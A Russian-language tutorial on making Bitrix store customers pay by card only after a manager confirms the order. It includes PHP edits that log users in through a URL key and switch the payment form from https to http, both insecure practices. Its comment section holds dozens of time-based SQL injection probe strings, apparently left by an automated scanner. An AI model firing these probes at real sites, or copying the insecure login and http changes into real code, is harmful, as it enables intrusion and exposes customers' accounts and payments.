Двуступенчая оплата банковской картой

Последнее время все больше интернет-магазинов подключают интернет-эквайринг, а клиенты магазинов уже не боятся использовать банковские карты для оплаты покупок в интернете. У небольших магазинов, не имеющих на складе полного ассортимента продаваемых товаров, а работающих по схеме "заказ - закупка у поставщика - продажа", при этом возникает проблема возврата части оплаты (или всей оплаты) покупателю.
[spoiler]
Типичный пример ситуации: посетитель сайта сделал заказ, тут же оплатил его банковской картой, но после согласования с менеджером отказался, т.к. сроки доставки его не устроили. В этом случае большинство банков, предлагающих интернет-эквайринг, требуют письменное заявление о возврате средств - на что, согласитесь, ни менеджеру, ни покупателю, тратить время не хочется. Некоторые платежные системы позволяют возвращать деньги, используя запросы через API с ЭЦП компании-продавца, например Merchant Web Services (MWS) Яндекс.Кассы, но подключение и реализация подобной схемы - довольно трудоемкая задача.

Идея

При реализации схемы оплаты интернет-магазина компании Italco, мы предложили схему, в которой оплата заказа разрешается системой только после подтверждения менеджером (то есть, после согласования заказа и проверки наличия товара):
Заказ - подтверждение менеджером - оплата клиентом
В "Битриксе" есть возможность создавать произвольные статусы заказа и управлять ими. В шаблоне компонента оформления заказа и личном кабинете заблокируем кнопки оплаты. Создадим дополнительный статус заказа - "Подтвержден к оплате", при установке этого статуса будем отправлять покупателю на e-mail ссылку на оплату заказа, а после оплаты - производить автоматическую установку статуса "Оплачен" для данного заказа.

Реализация

1. Шаблон компонента sale.order.ajax, файл confirm.php - если не задан определенный параметр в URL, блокируем возможность оплаты в шаблоне компонента заказа и добавляем сообщение - "После согласования заказа менеджером вы получите ссылку на оплату этого заказа на E-mail".

В строку:
<? if (strlen($arPaySystem["ACTION_FILE"]) > 0 && $arPaySystem["NEW_WINDOW"] == "Y" && $arPaySystem["IS_CASH"] != "Y"): ?>
Добавляем условие $_REQUEST['AUTO_SUBMIT'] == 'Y':
<? if ($_REQUEST['AUTO_SUBMIT'] == 'Y' && strlen($arPaySystem["ACTION_FILE"]) > 0 && $arPaySystem["NEW_WINDOW"] == "Y" && $arPaySystem["IS_CASH"] != "Y"): ?>
Вывод сообщения - ставим перед <?else:?>:
<? elseif (strlen($arPaySystem["ACTION_FILE"]) > 0 && $arPaySystem["NEW_WINDOW"] == "Y" && $arPaySystem["IS_CASH"] != "Y"): ?>   
   <? echo 'После согласования заказа менеджером вы получите ссылку на оплату этого заказа на E-mail' ?>
2. Шаблон компонента sale.personal.order.detail, файл template.php - если статус заказа не "Подтвержден к оплате", блокируем кнопку оплаты в личном кабинете:

В строки
<?if($payment["PAID"] == "Y"):?>
   <?=GetMessage('SPOD_YES')?>
   <?if(strlen($payment["DATE_PAID_FORMATED"])):?>
      (<?=GetMessage('SPOD_FROM')?> <?=$payment["DATE_PAID_FORMATED"]?>)
   <?endif;?>
<?else:?>
   <?=GetMessage('SPOD_NO')?>
   <?if($payment["CAN_REPAY"]=="Y" && $payment["PAY_SYSTEM"]["PSA_NEW_WINDOW"] == "Y"):?>
      &nbsp;&nbsp;&nbsp;[<a href="<?=$payment["PAY_SYSTEM"]["PSA_ACTION_FILE"]?>" target="_blank"><?=GetMessage("SPOD_REPEAT_PAY")?></a>]
   <?endif;?>
<?endif;?>
Перед <?else:?> - добавляем <?elseif:?>:
<?elseif($arResult["STATUS"]["NAME"]!='Подтвержден к оплате'):?>
   <?echo 'Заказ ожидает подтверждения менеджера, после подтверждения вам придет ссылка для оплаты заказа на E-mail'?>
3. Создаем тип почтового события:
d57e391437a57cf52c798150a2bbfc99.png

4. Создаем почтовый шаблон:
1c14fcb4011d6cb80ed24c67c7739cd7.png

В текст письма добавляем ссылку на оплату заказа:
Вы можете оплатить свой заказ, 
<a href="http://#SERVER_NAME#/personal/?ORDER_ID=#ORDER_ID#&ready_2pay=Y&userid=#USER_ID#&key=#KEY#">перейдя по этой ссылке</a>
Здесь #KEY# - это ключ для авторизации (см. шаг 5) - для того, чтобы перенаправить покупателя на платежную систему, нам придется снова его авторизовать - ведь сессия, в которой был сделан заказ, может быть уже завершена. Для этой цели будем использовать checkword пользователя - передадим его в параметре ссылки как #KEY#, а при переходе по ссылке - авторизуем при совпадении c checkword.

4. В файле /bitrix/php_interface/init.php - создаем обработчик события, который срабатывает при переводе заказа в статус "Подтвержден к оплате":
AddEventHandler("sale", "OnSaleStatusOrder", "OnSaleStatusOrderHandler"); 
function OnSaleStatusOrderHandler($ID, $val) {
   if($val=="A") { // Код статуса "Подтвержден к оплате"
      $arOrder = CSaleOrder::GetByID($ID);
      $arPaySys = CSalePaySystem::GetByID($arOrder['PAY_SYSTEM_ID'], $arOrder['PERSON_TYPE_ID']);
      if($arPaySys['PSA_ACTION_FILE'] == 'yandex') { // Дополнительная проверка, та ли платежная система?
         $rsUser = CUser::GetByID($arOrder["USER_ID"]);
         $arUser = $rsUser->Fetch();
         $event = new CEvent;
         $event->SendImmediate('SALE_ORDER_READY_2PAY', 's1', array(
            "SALE_EMAIL"   => COption::GetOptionString("sale", "order_email", "order@".$SERVER_NAME),
            "ORDER_ID"   => $ID,
            "EMAIL"      => $arUser["EMAIL"],
            "USER_ID"      => $arUser["ID"],
            "KEY"      => $arUser["CHECKWORD"],
         ));
      }
   }
}
5. В файл /personal/index.php добавляем строки
$authorized=false;
if($_REQUEST['key'] && intval($_REQUEST['userid']) && intval($_REQUEST['ORDER_ID'])) {
   if(!in_array(1, CUser::GetUserGroup($_REQUEST['userid']))) { //Страховка
      $rsUser = CUser::GetByID($_REQUEST['userid']);
      $arUser = $rsUser->Fetch();
      if($arUser['CHECKWORD']==$_REQUEST['key'])
         $authorized=$USER->Authorize($_REQUEST['userid']);
   }
   if($USER->IsAuthorized() || $authorized) {
      LocalRedirect('/personal/order/make/?ORDER_ID='.$_REQUEST['ORDER_ID'].'&AUTO_SUBMIT=Y');
   }
}
То есть, в случае если пользователь уже авторизован, или если удалось его авторизовать через переданный в ссылке ключ, мы делаем редирект на финальную страницу оформления заказа с установленным параметром вывода кнопки оплаты (см. шаг 1).

PS: Для полного удобства пользователя, можно также сделать чтобы средствами js (в данном случае - с использованием jQuery, но можно и без) автоматически "нажималась" кнопка "Оплатить":
<?if($_REQUEST['AUTO_SUBMIT'] == 'Y'):?>
   <script>
   $(document).ready(function(){
      $('#pay_system_div input[type=submit]').click();
   });
   </script>   
<?endif?> 
Для того, чтобы избежать "блокировщика всплывающих окон", которые не дают открывать ссылки с параметром target="_blank" средствами js, стоит убрать этот параметр из кода формы обработчика платежной системы.

В файле payment.php платежной системы:
<form name="ShopForm" action="https://money.yandex.ru/eshop.xml" method="post" target="_blank">
заменим на:
<form name="ShopForm" action="http://money.yandex.ru/eshop.xml" method="post">
Страницы: 1  2  
0
16.01.2025 18:45:38
-1" OR 3+118-118-1=0+0+0+1 --
0
16.01.2025 18:45:43
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
0
16.01.2025 18:45:43
1*if(now()=sysdate(),sleep(15),0)
0
16.01.2025 18:45:49
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
0
16.01.2025 18:45:50
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
0
16.01.2025 18:45:50
0
16.01.2025 18:45:50
????%2527%2522\'\"
0
16.01.2025 18:45:51
0
16.01.2025 18:45:58
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
0
16.01.2025 18:46:05
(sel ect(0)from(select(sleep(15)))v)/*'+(select(0)fr om(sel ect(sleep(15)))v)+'"+(select(0)fr om(select(sleep(15)))v)+"*/
0
16.01.2025 18:46:11
1-1; waitfor delay '0:0:15' --
0
16.01.2025 18:46:15
1-1); waitfor delay '0:0:15' --
0
16.01.2025 18:46:22
1-1 waitfor delay '0:0:15' --
0
16.01.2025 18:46:32
1TutlnXoe'; waitfor delay '0:0:15' --
0
16.01.2025 18:46:38
1-1 OR 571=(SEL ECT 571 FR OM PG_SLEEP(15))--
0
16.01.2025 18:46:47
1-1) OR 835=(SEL ECT 835 FR OM PG_SLEEP(15))--
0
16.01.2025 18:46:55
1-1)) OR 959=(SEL ECT 959 FR OM PG_SLEEP(15))--
0
16.01.2025 18:47:02
1p1ylqmNO' OR 649=(SEL ECT 649 FR OM PG_SLEEP(15))--
0
16.01.2025 18:47:11
1ZyMmAhy6') OR 916=(SEL ECT 916 FR OM PG_SLEEP(15))--
0
16.01.2025 18:47:18
19jT2XMsj')) OR 40=(SEL ECT 40 FR OM PG_SLEEP(15))--
0
16.01.2025 18:47:31
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
0
16.01.2025 18:47:39
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
0
16.01.2025 18:47:39
0
16.01.2025 18:47:40
????%2527%2522\'\"
0
16.01.2025 18:47:40

Страницы: 1  2